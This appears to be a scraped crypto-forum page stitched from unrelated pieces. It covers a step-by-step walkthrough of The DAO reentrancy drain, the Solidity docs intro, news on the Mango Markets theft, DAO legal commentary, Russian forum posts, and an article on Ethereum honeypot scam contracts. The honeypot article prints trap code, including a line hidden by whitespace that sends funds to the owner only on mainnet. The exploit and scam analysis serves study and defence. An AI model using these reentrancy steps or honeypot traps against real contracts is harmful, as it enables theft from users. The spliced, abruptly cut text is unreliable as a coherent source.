exploit we linked! That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array. And so it goes: Propose a split and wait until the voting period expires. (DAO.sol, createProposal) Execute the split. (DAO.sol, splitDAO) Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy) Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut) While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient()) The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO) Back to (5)! Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-). (Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely) Armed with this, we can provide a step by step re-trace of how The DAO got emptied out. Step 1: Proposing the Split The first step towards all of the above is to simply propose a regular split, as we’ve mentioned. The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”. Because of this line: // The minimum debate period that a split proposal can have uint constant minSplitDebatePeriod = 1 weeks; he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right? Step 2: Getting the Reward As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated). As we mentioned in the overview, the critical lines that need to run here are: function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; paidOut[_account] += reward; return true; } If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously). Let’s deconstruct the first if statement: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) The balanceOf function is defined in Token.sol, and of course does exactly this: return balances[_owner]; The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol: // The sum of ether (in wei) which has been sent to this contract uint public accumulatedInput; Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account! function() { accumulatedInput += msg.value; } Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie. But do they actually need to include a reward? Let’s look at the line again: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) What if the reward account balance is 0? Then we get if (0 < paidOut[_account]) If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0) where that first part is actually how much is being paid out. So the check is actually: if (amountToBePaid < 0) But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one! Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0. Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust. Step 3: The Big Short A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit. It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely. Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to. Step 3a: Preventing Exit (Resistance is Futile) Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds. Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own. Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment. Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed. Step 4: Executing the Split So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d. The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there). Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there. Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article. In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis. Step 4a: Extending the Split This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account. Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO: function splitDAO( .... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; } So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function: function transfer(address _to, uint256 _amount) noEther returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; ... By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration. The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary. Was 1.1 Vulnerable? Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes. Check out the updated function (especially the marked lines): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; paidOut[_account] += reward; // XXXXX if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; return true; } Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line: uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to _recipient.call() Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance. Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits. An Important Takeaway I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended. In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy. I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable. For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one. Solidity Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state. Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section. Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features. With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets. When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change. Warning Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`. Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details. Hint You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format. Getting Started 1. Understand the Smart Contract Basics If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following: :ref:`A simple example smart contract <simple-smart-contract>` written in Solidity. :ref:`Blockchain Basics <blockchain-basics>`. :ref:`The Ethereum Virtual Machine <the-ethereum-virtual-machine>`. 2. Get to Know Solidity Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language. 3. Install the Solidity Compiler There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`. Hint You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally. Warning As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section. 4. Learn More If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks. If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel. Translations Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference. You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language. Chinese French Indonesian Japanese Korean Persian Russian Spanish Turkish Note We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations. Contents Basic concepts To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function. In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well. Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes. When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract. The attack The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes. Fallback function A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]: a. If none of the functions of the call to the contract match any of the functions in the called contract b. When the contract receives ether without extra data c. If no data was supplied Example The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO. The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows: The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack). The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable. In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated. One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished. The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract. Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet. The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it. Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt. The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal. “We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief. On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury. The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject. The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency. The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether. So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist. Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account. Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency. Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible. Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident? Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money. The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan? Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist). In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law. And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action. Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second. So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all. Literature: Understanding a Revolutionary and Flawed Grand Experiment in Blockchain: The DAO Attack Journal of Cases on Information Technology Conclusion I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/-QDYiKCwOaA Source: https://cryptodeeptech.ru/dao-exploit Криптоанализ
  15. Написал статью, в которой моё мнение по поводу доминирования биткойна на рынке в данный момент. Хотелось бы обсудить с вами, желательно выслушать аргументированные противоречия. Ссылочка на голос
  16. Добрый день. Здесь мы будем ежедневно публиковать технический анализ по таким криптовалютам как: BTCUSD, XMRUSD, DSHUSD и LTCUSD.
  17. CRYPTO DEEP TECH Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker. Let’s look at a couple different real world examples: pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } } In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract. pragma solidity ^0.4.19; contract Gift_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) external payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } } This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash(), SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log. You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could. A safer method the attacker should have used would have been to check the contract storage with a security analysis tool. Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAO, Parity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons: Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough. Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough. Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers. Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked: Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse. Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties: Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH. Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds. Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker. Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks. honeypot1: Multiplicator.sol The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap. GITHUB This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero. It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance. honeypot2: Gift_1_ETH.sol GITHUB The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH? It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong? One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading. It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true. honeypot3: TestToken I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here … This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net. Ganache: starts from 0 Testrpc: starts from 1150000 Ropsten: a few weeks ago around 2596174 Main net: a few weeks ago around 5040270 Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed. if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}} EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago. TL;DR Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice: Be careful where you send your ETH, it could be a trap. Be nice and don’t steal from people. I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments. https://cryptodeep.ru/doc/The_Art_of_The_Scam_Demystifying_Honeypots_in_Ethereum_Smart_Contracts.pdf Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract? Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end. What is honeypot in smart contract? A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them. The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits 